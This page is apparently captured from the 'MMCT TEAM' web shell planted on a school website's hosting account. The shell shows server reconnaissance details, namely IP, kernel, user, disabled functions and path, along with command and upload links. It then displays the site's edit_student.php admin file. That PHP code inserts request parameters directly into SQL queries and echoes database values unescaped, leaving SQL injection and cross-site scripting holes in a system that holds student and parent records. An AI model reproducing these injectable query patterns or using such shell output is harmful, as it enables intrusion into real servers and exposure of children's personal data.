MMCT TEAM
Server IP : 86.38.243.181  /  Your IP : 216.73.216.51
Web Server : LiteSpeed
System : Linux in-mum-web1336.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : u986601745 ( 986601745)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u986601745/domains/emrskalsi.com/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u986601745/domains/emrskalsi.com/public_html/admin/edit_student.php
<?php include('include/sidebar.php'); ?>
<!-- Start Welcome area -->

<?php include('include/header.php'); ?>

<?php 
$id=$_GET['id'];
if(isset($_POST['submit'])){

    $student_name=$_POST['student_name'];
    $father_name=$_POST['father_name'];
    $mother_name=$_POST['mother_name'];
    $contact=$_POST['contact'];
    $address=$_POST['address'];
    $dob=$_POST['dob'];
    $class_id=$_POST['class_id'];
    $house_id=$_POST['house_id'];

     $sql = $conn->query("UPDATE students SET student_name='$student_name',father_name='$father_name',mother_name='$mother_name',contact='$contact',address='$address',dob='$dob',class_id='$class_id',house_id='$house_id' WHERE id='$id' LIMIT 1");
    if($sql){
        echo '<script>alert("Updated successfully"); location.href="students"</script>';

    }else{
        echo '<script>alert("Oops Something Went Wrong!");</script>';
    }
    
}
$q = "SELECT * FROM students WHERE id='$id' limit 1";
        $result  = mysqli_query($conn,$q);
        $row = mysqli_fetch_assoc($result);

?>

<style>
    #myTabContent .input-group{
        width: 100%;
    }
</style>
<div class="breadcome-area">
    <div class="container-fluid">
        <div class="row">
            <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">
                <div class="breadcome-list">
                    <div class="row">
                        <div class="col-lg-6 col-md-6 col-sm-6 col-xs-6">
                            <div class="breadcomb-wp">
                                <div class="breadcomb-icon">
                                    <i class="icon nalika-home"></i>
                                </div>
                                <div class="breadcomb-ctn">
                                    <h2>Edit Student</h2>
                                </div>
                            </div>
                        </div>
                        <div class="col-lg-6 col-md-6 col-sm-6 col-xs-6">

                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
</div>
<div class="single-product-tab-area mg-b-30">

    <!-- Single pro tab review Start-->

    <div class="single-pro-review-area">

        <div class="container-fluid">

            <div class="row">

                <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">

                    <div class="review-tab-pro-inner">
                        <form method="post" enctype="multipart/form-data">
                            <div id="myTabContent" class="tab-content custom-product-edit">

                               <div class="row">

                                <div class="col-lg-6 col-md-6 col-sm-6 col-xs-12">

                                    <div class="input-group mg-b-pro-edt">
                                        <input type="number" name="roll_no" class="form-control" placeholder="Roll Number" value="<?php echo $row['id'] ?>" required>
                                    </div>

                                    <div class="input-group mg-b-pro-edt">
                                        <input type="text" name="student_name" class="form-control" placeholder="Student Name" required value="<?php echo $row['student_name'] ?>">
                                    </div>

                                    
                                    <div class="input-group mg-b-pro-edt">
                                        <select class="form-control" name="class_id" required>
                                            <option value="">Select Class</option>
                                            <?php
                                            $q = "select * from class";
                                            $query = mysqli_query($conn,$q);
                                            while($res = mysqli_fetch_array($query)) { ?>
                                                <option value="<?php echo $res['id'] ?>" <?php if ($res['id']==$row['class_id']) {echo 'selected';} ?>><?php echo $res['class_name'] ?></option>
                                            <?php } ?>
                                        </select>

                                    </div>
                                    <div class="input-group mg-b-pro-edt">
                                        <select class="form-control" name="house_id" required>
                                            <option value="">Select House</option>
                                            <?php
                                            $q = "select * from house";
                                            $query = mysqli_query($conn,$q);
                                            while($res = mysqli_fetch_array($query)) { ?>
                                                <option value="<?php echo $res['id'] ?>" <?php if ($res['id']==$row['house_id']) {echo 'selected';} ?> ><?php echo $res['house_name'] ?></option>
                                            <?php } ?>
                                        </select>

                                    </div>
                                    <div class="input-group mg-b-pro-edt">
                                        <input type="text" onfocus="(this.type='date')" name="dob" class="form-control" placeholder="Date Of Birth" required value="<?php echo $row['dob'] ?>">
                                    </div>

                                    <div class="input-group mg-b-pro-edt">
                                        <input type="text" name="father_name" class="form-control" placeholder="Father Name" required value="<?php echo $row['father_name'] ?>">
                                    </div>

                                    <div class="input-group mg-b-pro-edt">
                                        <input type="text" name="mother_name" class="form-control" placeholder="Mother Name" required value="<?php echo $row['mother_name'] ?>">
                                    </div>

                                    <!-- <div class="input-group mg-b-pro-edt">
                                        <input type="number" name="contact" class="form-control" placeholder="Phone Number" required value="<?php echo $row['contact'] ?>">
                                    </div> -->

                                    <div class="input-group mg-b-pro-edt">
                                        <textarea rows="4" class="form-control" name="address" placeholder="Address" required><?php echo $row['address'] ?></textarea>

                                    </div>



                                </div>

                            </div>

                        </div>

                        <div class="row">

                            <div class="col-lg-6 col-md-6 col-sm-12 col-xs-12" style="padding-right: 30px;">

                                <div class="text-center custom-pro-edt-ds">

                                    <button type="submit" class="btn btn-ctl-bt waves-effect waves-light m-r-10" name="submit">Save

                                    </button>

                                    <a href="students" class="btn btn-ctl-bt waves-effect waves-light">cancel

                                    </a>

                                </div>

                            </div>

                        </div>
                    </form>
                </div>

            </div>

        </div>

    </div>

</div>

</div>

</div>
<?php include('include/footer.php'); ?>

MMCT - 2023